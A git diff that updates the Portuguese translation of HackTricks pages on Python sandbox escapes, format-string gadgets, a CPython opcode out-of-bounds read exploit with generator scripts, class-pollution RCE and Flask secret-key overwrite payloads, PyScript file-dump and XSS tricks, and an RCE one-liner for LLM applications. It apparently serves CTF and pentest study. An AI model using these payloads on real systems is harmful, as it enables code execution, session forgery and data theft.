+Uma das partes mais sensíveis desta técnica é ser capaz de **acessar as subclasses base**. Nos exemplos anteriores, isso foi feito usando `''.__class__.__base__.__subclasses__()`, mas existem **outras maneiras possíveis**: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -684,9 +684,9 @@ Você pode verificar a saída deste script nesta página: [https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md) {% endcontent-ref %} -## String de Formato Python +## Python Format String -Se você **enviar** uma **string** para o python que vai ser **formatada**, você pode usar `{}` para acessar **informações internas do python.** Você pode usar os exemplos anteriores para acessar globais ou builtins, por exemplo. +Se você **enviar** uma **string** para o python que vai ser **formatada**, você pode usar `{}` para acessar **informações internas do python.** Você pode usar os exemplos anteriores para acessar globals ou builtins, por exemplo. ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { @@ -726,7 +726,7 @@ return 'HAL 9000' '{:open-the-pod-bay-doors}'.format(HAL9000()) #I'm afraid I can't do that. ``` -**Mais exemplos** sobre **formato** **string** podem ser encontrados em [**https://pyformat.info/**](https://pyformat.info) +**Mais exemplos** sobre **exemplos** de **string** **format** podem ser encontrados em [**https://pyformat.info/**](https://pyformat.info) {% hint style="danger" %} Verifique também a seguinte página para gadgets que irão r**evelar informações sensíveis de objetos internos do Python**: @@ -752,22 +752,22 @@ secret_variable = "clueless" x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol') str(x) # Out: clueless ``` -### Bypass de Jails LLM +### LLM Jails bypass -De [aqui](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` +From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` ### De formato para RCE carregando bibliotecas -De acordo com o [**desafio TypeMonkey deste relatório**](https://corgi.rip/posts/buckeye-writeups/), é possível carregar bibliotecas arbitrárias do disco abusando da vulnerabilidade de string de formato em python. +De acordo com o [**TypeMonkey chall deste writeup**](https://corgi.rip/posts/buckeye-writeups/), é possível carregar bibliotecas arbitrárias do disco abusando da vulnerabilidade de string de formato em python. Como lembrete, toda vez que uma ação é realizada em python, alguma função é executada. Por exemplo, `2*3` executará **`(2).mul(3)`** ou **`{'a':'b'}['a']`** será **`{'a':'b'}.__getitem__('a')`**. Você pode encontrar mais como isso na seção [**Execução de Python sem chamadas**](./#python-execution-without-calls). Uma vulnerabilidade de string de formato em python não permite executar funções (não permite o uso de parênteses), então não é possível obter RCE como `'{0.system("/bin/sh")}'.format(os)`.\ -No entanto, é possível usar `[]`. Portanto, se uma biblioteca python comum tiver um método **`__getitem__`** ou **`__getattr__`** que executa código arbitrário, é possível abusar deles para obter RCE. +No entanto, é possível usar `[]`. Portanto, se uma biblioteca python comum tiver um método **`__getitem__`** ou **`__getattr__`** que execute código arbitrário, é possível abusar deles para obter RCE. -Procurando por um gadget assim em python, o relatório sugere esta [**consulta de busca no Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Onde ele encontrou este [aqui](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463): +Procurando por um gadget assim em python, o writeup sugere esta [**consulta de busca no Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Onde ele encontrou este [aqui](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463): ```python class LibraryLoader(object): def __init__(self, dlltype): @@ -832,7 +832,7 @@ get_flag.__globals__ #If you have access to some variable value CustomClassObject.__class__.__init__.__globals__ ``` -[**Veja aqui mais lugares para obter globals**](./#globals-and-locals) +[**Veja aqui mais lugares para obter globais**](./#globals-and-locals) ### **Acessando o código da função** @@ -924,7 +924,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` -Observe que **se você não conseguir importar `dis` no sandbox do python** você pode obter o **bytecode** da função (`get_flag.func_code.co_code`) e **desmontá-lo** localmente. Você não verá o conteúdo das variáveis sendo carregadas (`LOAD_CONST`), mas pode inferi-las a partir de (`get_flag.func_code.co_consts`), pois `LOAD_CONST` também indica o deslocamento da variável sendo carregada. +Observe que **se você não conseguir importar `dis` no sandbox do python** você pode obter o **bytecode** da função (`get_flag.func_code.co_code`) e **desmontá-lo** localmente. Você não verá o conteúdo das variáveis sendo carregadas (`LOAD_CONST`), mas pode inferi-las a partir de (`get_flag.func_code.co_consts`), porque `LOAD_CONST` também indica o deslocamento da variável sendo carregada. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -949,7 +949,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 ## Compilando Python Agora, vamos imaginar que de alguma forma você pode **extrair as informações sobre uma função que você não pode executar**, mas você **precisa** **executá-la**.\ -Como no exemplo a seguir, você **pode acessar o objeto de código** dessa função, mas apenas lendo o desmonte você **não sabe como calcular a flag** (_imagine uma função `calc_flag` mais complexa_) +Como no exemplo a seguir, você **pode acessar o objeto de código** dessa função, mas apenas lendo o desassemblado você **não sabe como calcular a flag** (_imagine uma função `calc_flag` mais complexa_) ```python def get_flag(some_input): var1=1 @@ -984,7 +984,7 @@ mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` {% hint style="info" %} -Dependendo da versão do python, os **parâmetros** de `code_type` podem ter uma **ordem diferente**. A melhor maneira de saber a ordem dos parâmetros na versão do python que você está executando é rodar: +Dependendo da versão do python, os **parâmetros** de `code_type` podem ter uma **ordem diferente**. A melhor maneira de saber a ordem dos parâmetros na versão do python que você está executando é executar: ``` import types types.CodeType.__doc__ @@ -1009,7 +1009,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode") ``` ### Bypass Defenses -Em exemplos anteriores no início deste post, você pode ver **como executar qualquer código python usando a função `compile`**. Isso é interessante porque você pode **executar scripts inteiros** com loops e tudo em uma **linha única** (e poderíamos fazer o mesmo usando **`exec`**).\ +Nos exemplos anteriores no início deste post, você pode ver **como executar qualquer código python usando a função `compile`**. Isso é interessante porque você pode **executar scripts inteiros** com loops e tudo em uma **linha única** (e poderíamos fazer o mesmo usando **`exec`**).\ De qualquer forma, às vezes pode ser útil **criar** um **objeto compilado** em uma máquina local e executá-lo na **máquina CTF** (por exemplo, porque não temos a função `compiled` no CTF). Por exemplo, vamos compilar e executar manualmente uma função que lê _./poc.py_: @@ -1039,7 +1039,7 @@ mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` -Se você não consegue acessar `eval` ou `exec`, você pode criar uma **função adequada**, mas chamá-la diretamente geralmente falhará com: _construtor não acessível em modo restrito_. Portanto, você precisa de uma **função que não esteja no ambiente restrito para chamar essa função.** +Se você não pode acessar `eval` ou `exec`, você poderia criar uma **função adequada**, mas chamá-la diretamente geralmente falhará com: _construtor não acessível em modo restrito_. Portanto, você precisa de uma **função que não esteja no ambiente restrito para chamar essa função.** ```python #Compile a regular print ftype = type(lambda: None) diff --git a/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md b/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md index 5abd203d7..59e305a7c 100644 --- a/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md +++ b/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md @@ -1,46 +1,46 @@ -# LOAD_NAME / LOAD_CONST opcode OOB Read +# LOAD\_NAME / LOAD\_CONST opcode OOB Read {% hint style="success" %} -Aprenda e pratique Hacking na AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -**Essas informações foram retiradas** [**deste artigo**](https://blog.splitline.tw/hitcon-ctf-2022/)**.** +**Esta informação foi retirada** [**deste artigo**](https://blog.splitline.tw/hitcon-ctf-2022/)**.** ### TL;DR -Podemos usar a funcionalidade de leitura OOB no opcode LOAD_NAME / LOAD_CONST para obter algum símbolo na memória. Isso significa usar truques como `(a, b, c, ... centenas de símbolos ..., __getattribute__) if [] else [].__getattribute__(...)` para obter um símbolo (como o nome de uma função) desejado. +Podemos usar o recurso de leitura OOB no opcode LOAD\_NAME / LOAD\_CONST para obter algum símbolo na memória. O que significa usar truques como `(a, b, c, ... centenas de símbolos ..., __getattribute__) if [] else [].__getattribute__(...)` para obter um símbolo (como o nome de uma função) que você deseja. -Em seguida, basta criar seu exploit. +Então, basta elaborar seu exploit. -### Visão Geral +### Overview -O código fonte é bastante curto, contendo apenas 4 linhas! +O código-fonte é bem curto, contém apenas 4 linhas! ```python source = input('>>> ') if len(source) > 13337: exit(print(f"{'L':O<13337}NG")) code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=()) print(eval(code, {'__builtins__': {}}))1234 ``` -Pode inserir código Python arbitrário, e ele será compilado para um [objeto de código Python](https://docs.python.org/3/c-api/code.html). No entanto, `co_consts` e `co_names` desse objeto de código serão substituídos por uma tupla vazia antes de avaliar esse objeto de código. +Você pode inserir código Python arbitrário, e ele será compilado em um [objeto de código Python](https://docs.python.org/3/c-api/code.html). No entanto, `co_consts` e `co_names` desse objeto de código serão substituídos por uma tupla vazia antes de avaliar esse objeto de código. Dessa forma, todas as expressões que contêm constantes (por exemplo, números, strings etc.) ou nomes (por exemplo, variáveis, funções) podem causar falha de segmentação no final. ### Leitura Fora dos Limites -Como ocorre a falha de segmentação? +Como a falha de segmentação acontece? -Vamos começar com um exemplo simples, `[a, b, c]` poderia ser compilado no seguinte bytecode. +Vamos começar com um exemplo simples, `[a, b, c]` pode ser compilado no seguinte bytecode. ``` 1 0 LOAD_NAME 0 (a) 2 LOAD_NAME 1 (b) @@ -48,11 +48,11 @@ Vamos começar com um exemplo simples, `[a, b, c]` poderia ser compilado no segu 6 BUILD_LIST 3 8 RETURN_VALUE12345 ``` -Mas e se o `co_names` se tornar uma tupla vazia? O opcode `LOAD_NAME 2` ainda é executado e tenta ler o valor daquele endereço de memória onde originalmente deveria estar. Sim, isso é uma "característica" de leitura fora dos limites. +Mas e se o `co_names` se tornar uma tupla vazia? O opcode `LOAD_NAME 2` ainda é executado e tenta ler o valor daquele endereço de memória que originalmente deveria ser. Sim, isso é um recurso de leitura fora dos limites "feature". -O conceito principal para a solução é simples. Alguns opcodes no CPython, por exemplo, `LOAD_NAME` e `LOAD_CONST`, são vulneráveis (?) à leitura fora dos limites. +O conceito central para a solução é simples. Alguns opcodes no CPython, por exemplo `LOAD_NAME` e `LOAD_CONST`, são vulneráveis (?) a leitura fora dos limites. -Eles recuperam um objeto do índice `oparg` da tupla `consts` ou `names` (é assim que `co_consts` e `co_names` são chamados internamente). Podemos nos referir ao trecho curto a seguir sobre `LOAD_CONST` para ver o que o CPython faz ao processar o opcode `LOAD_CONST`. +Eles recuperam um objeto do índice `oparg` da tupla `consts` ou `names` (é assim que `co_consts` e `co_names` são chamados internamente). Podemos nos referir ao seguinte pequeno trecho sobre `LOAD_CONST` para ver o que o CPython faz quando processa o opcode `LOAD_CONST`. ```c case TARGET(LOAD_CONST): { PREDICTED(LOAD_CONST); @@ -62,11 +62,11 @@ PUSH(value); FAST_DISPATCH(); }1234567 ``` -Desta forma, podemos usar o recurso OOB para obter um "nome" de um deslocamento de memória arbitrário. Para garantir qual é o nome e qual é o deslocamento, basta continuar tentando `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... E você pode encontrar algo em cerca de oparg > 700. Você também pode tentar usar o gdb para dar uma olhada no layout da memória, é claro, mas eu não acho que seria mais fácil? +Dessa forma, podemos usar o recurso OOB para obter um "nome" de um deslocamento de memória arbitrário. Para ter certeza de qual nome ele tem e qual é seu deslocamento, basta continuar tentando `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... E você pode encontrar algo em torno de oparg > 700. Você também pode tentar usar gdb para dar uma olhada na disposição da memória, é claro, mas eu não acho que seria mais fácil? ### Gerando o Exploit -Depois de recuperarmos esses deslocamentos úteis para nomes / constantes, como _obtemos_ um nome / constante desse deslocamento e o usamos? Aqui está um truque para você:\ +Uma vez que recuperamos esses deslocamentos úteis para nomes / consts, como _fazemos_ para obter um nome / const desse deslocamento e usá-lo? Aqui está um truque para você:\ Vamos supor que podemos obter um nome `__getattribute__` do deslocamento 5 (`LOAD_NAME 5`) com `co_names=()`, então basta fazer o seguinte: ```python [a,b,c,d,e,__getattribute__] if [] else [ @@ -74,7 +74,7 @@ Vamos supor que podemos obter um nome `__getattribute__` do deslocamento 5 (`LOA # you can get the __getattribute__ method of list object now! ]1234 ``` -> Note que não é necessário nomeá-lo como `__getattribute__`, você pode nomeá-lo como algo mais curto ou mais estranho +> Observe que não é necessário nomeá-lo como `__getattribute__`, você pode nomeá-lo como algo mais curto ou mais estranho Você pode entender a razão por trás disso apenas visualizando seu bytecode: ```python @@ -93,20 +93,20 @@ Você pode entender a razão por trás disso apenas visualizando seu bytecode: 24 BUILD_LIST 1 26 RETURN_VALUE1234567891011121314 ``` -Observe que `LOAD_ATTR` também recupera o nome de `co_names`. O Python carrega nomes a partir do mesmo deslocamento se o nome for o mesmo, então o segundo `__getattribute__` ainda é carregado a partir do deslocamento=5. Usando esse recurso, podemos usar um nome arbitrário uma vez que o nome está na memória próxima. +Note que `LOAD_ATTR` também recupera o nome de `co_names`. O Python carrega nomes do mesmo offset se o nome for o mesmo, então o segundo `__getattribute__` ainda é carregado do offset=5. Usando esse recurso, podemos usar um nome arbitrário uma vez que o nome esteja na memória próxima. -Para gerar números deve ser trivial: +Para gerar números, deve ser trivial: * 0: not \[\[]] * 1: not \[] * 2: (not \[]) + (not \[]) * ... -### Script de Exploração +### Exploit Script -Não usei constantes devido ao limite de comprimento. +Eu não usei consts devido ao limite de comprimento. -Aqui está um script para encontrar esses deslocamentos de nomes. +Primeiro, aqui está um script para encontrarmos esses offsets de nomes. ```python from types import CodeType from opcode import opmap @@ -141,7 +141,7 @@ print(f'{n}: {ret}') # for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132 ``` -E o seguinte é para gerar o exploit Python real. +E o seguinte é para gerar o verdadeiro exploit em Python. ```python import sys import unicodedata @@ -218,7 +218,7 @@ print(source) # (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273 ``` -Basicamente faz as seguintes coisas, para as strings que obtemos do método `__dir__`: +Basicamente, faz as seguintes coisas, para essas strings obtemos do método `__dir__`: ```python getattr = (None).__getattribute__('__class__').__getattribute__ builtins = getattr( @@ -232,16 +232,16 @@ getattr( builtins['eval'](builtins['input']()) ``` {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte o HackTricks +Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md b/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md index 6186b78a8..8047dd6a8 100644 --- a/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md +++ b/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md @@ -1,23 +1,23 @@ -# Poluição de Classes (Prototype Pollution do Python) +# Class Pollution (Python's Prototype Pollution) {% hint style="success" %} -Aprenda e pratique Hacking na AWS: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking na GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Exemplo Básico -Veja como é possível poluir classes de objetos com strings: +Verifique como é possível poluir classes de objetos com strings: ```python class Company: pass class Developer(Company): pass @@ -78,7 +78,7 @@ print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
-Criando valor padrão de propriedade de classe para RCE (subprocesso) +Criando valor padrão de propriedade de classe para RCE (subprocess) ```python from os import popen class Employee: pass # Creating an empty class @@ -193,9 +193,9 @@ subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
-Sobrescrevendo __kwdefaults__ +Substituindo __kwdefaults__ -**`__kwdefaults__`** é um atributo especial de todas as funções, com base na [documentação do Python](https://docs.python.org/3/library/inspect.html), é um "mapeamento de quaisquer valores padrão para parâmetros **apenas de palavras-chave**". Poluir esse atributo nos permite controlar os valores padrão dos parâmetros apenas de palavras-chave de uma função, que são os parâmetros da função que vêm após \* ou \*args. +**`__kwdefaults__`** é um atributo especial de todas as funções, com base na [documentação](https://docs.python.org/3/library/inspect.html) do Python, é um “mapeamento de quaisquer valores padrão para parâmetros **somente de palavra-chave**”. Poluir este atributo nos permite controlar os valores padrão dos parâmetros somente de palavra-chave de uma função, que são os parâmetros da função que vêm após \* ou \*args. ```python from os import system import json @@ -236,17 +236,17 @@ execute() #> Executing echo Polluted
-Sobrescrevendo segredo do Flask entre arquivos +Substituindo o segredo do Flask em arquivos -Portanto, se você puder fazer uma poluição de classe sobre um objeto definido no arquivo principal em Python da web, mas **cuja classe é definida em um arquivo diferente** do principal. Porque para acessar \_\_globals\_\_ nos payloads anteriores, você precisa acessar a classe do objeto ou métodos da classe, você será capaz de **acessar os globais nesse arquivo, mas não no principal**. \ -Portanto, você **não será capaz de acessar o objeto global do aplicativo Flask** que definiu a **chave secreta** na página principal: +Então, se você puder fazer uma poluição de classe sobre um objeto definido no arquivo python principal da web, mas **cuja classe é definida em um arquivo diferente** do principal. Porque, para acessar \_\_globals\_\_ nos payloads anteriores, você precisa acessar a classe do objeto ou métodos da classe, você poderá **acessar os globals naquele arquivo, mas não no principal**. \ +Portanto, você **não poderá acessar o objeto global do app Flask** que definiu a **chave secreta** na página principal: ```python app = Flask(__name__, template_folder='templates') app.secret_key = '(:secret:)' ``` -Neste cenário, você precisa de um gadget para percorrer arquivos até chegar ao principal para **acessar o objeto global `app.secret_key`** para alterar a chave secreta do Flask e ser capaz de [**escalar privilégios** conhecendo essa chave](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign). +Neste cenário, você precisa de um gadget para percorrer arquivos até chegar ao principal para **acessar o objeto global `app.secret_key`** para mudar a chave secreta do Flask e poder [**escalar privilégios** conhecendo essa chave](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign). -Um payload como este [deste artigo](https://ctftime.org/writeup/36082): +Uma carga útil como esta [deste relatório](https://ctftime.org/writeup/36082): {% code overflow="wrap" %} ```python @@ -254,11 +254,11 @@ __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.se ``` {% endcode %} -Use este payload para **alterar `app.secret_key`** (o nome em seu aplicativo pode ser diferente) para poder assinar novos e mais privilégios nos cookies do Flask. +Use este payload para **mudar `app.secret_key`** (o nome no seu app pode ser diferente) para poder assinar novos e mais privilegiados cookies do flask.
-Confira também a seguinte página para mais gadgets somente leitura: +Verifique também a seguinte página para mais gadgets somente leitura: {% content-ref url="python-internal-read-gadgets.md" %} [python-internal-read-gadgets.md](python-internal-read-gadgets.md) @@ -269,16 +269,16 @@ Confira também a seguinte página para mais gadgets somente leitura: * [https://blog.abdulrah33m.com/prototype-pollution-in-python/](https://blog.abdulrah33m.com/prototype-pollution-in-python/) {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/generic-methodologies-and-resources/python/pyscript.md b/generic-methodologies-and-resources/python/pyscript.md index 9219e7432..78d9284d1 100644 --- a/generic-methodologies-and-resources/python/pyscript.md +++ b/generic-methodologies-and-resources/python/pyscript.md @@ -1,27 +1,27 @@ # Pyscript {% hint style="success" %} -Aprenda e pratique Hacking na AWS: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} ## Guia de Pentesting PyScript -PyScript é um novo framework desenvolvido para integrar Python ao HTML, podendo ser usado junto com o HTML. Neste guia de referência, você encontrará como usar o PyScript para seus propósitos de teste de penetração. +PyScript é um novo framework desenvolvido para integrar Python ao HTML, podendo ser usado junto com HTML. Neste cheat sheet, você encontrará como usar PyScript para seus propósitos de pentesting. ### Dumping / Recuperando arquivos do sistema de arquivos de memória virtual Emscripten: -`ID CVE: CVE-2022-30286`\ +`CVE ID: CVE-2022-30286`\ \ Código: ```html @@ -31,13 +31,11 @@ out = fin.read() print(out) ``` -Resultado: - ![](https://user-images.githubusercontent.com/66295316/166847974-978c4e23-05fa-402f-884a-38d91329bac3.png) ### [Exfiltração de Dados OOB do sistema de arquivos de memória virtual Emscripten (monitoramento de console)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/\~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript) -`ID CVE: CVE-2022-30286`\ +`CVE ID: CVE-2022-30286`\ \ Código: ```html @@ -50,11 +48,9 @@ print(contents) print('') ``` -Resultado: - ![](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png) -### Cross Site Scripting (Ordinário) +### Cross Site Scripting (Comum) Código: ```python @@ -62,8 +58,6 @@ Código: print("") ``` -Resultado: - ![](https://user-images.githubusercontent.com/66295316/166848393-e835cf6b-992e-4429-ad66-bc54b98de5cf.png) ### Cross Site Scripting (Python Ofuscado) @@ -80,8 +74,6 @@ y = "o";m = "ner";z = "ror\u003d" print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p) ``` -Resultado: - ![](https://user-images.githubusercontent.com/66295316/166848370-d981c94a-ee05-42a8-afb8-ccc4fc9f97a0.png) ### Cross Site Scripting (Ofuscação de JavaScript) @@ -92,11 +84,9 @@ Código: prinht("") ``` -Resultado: - 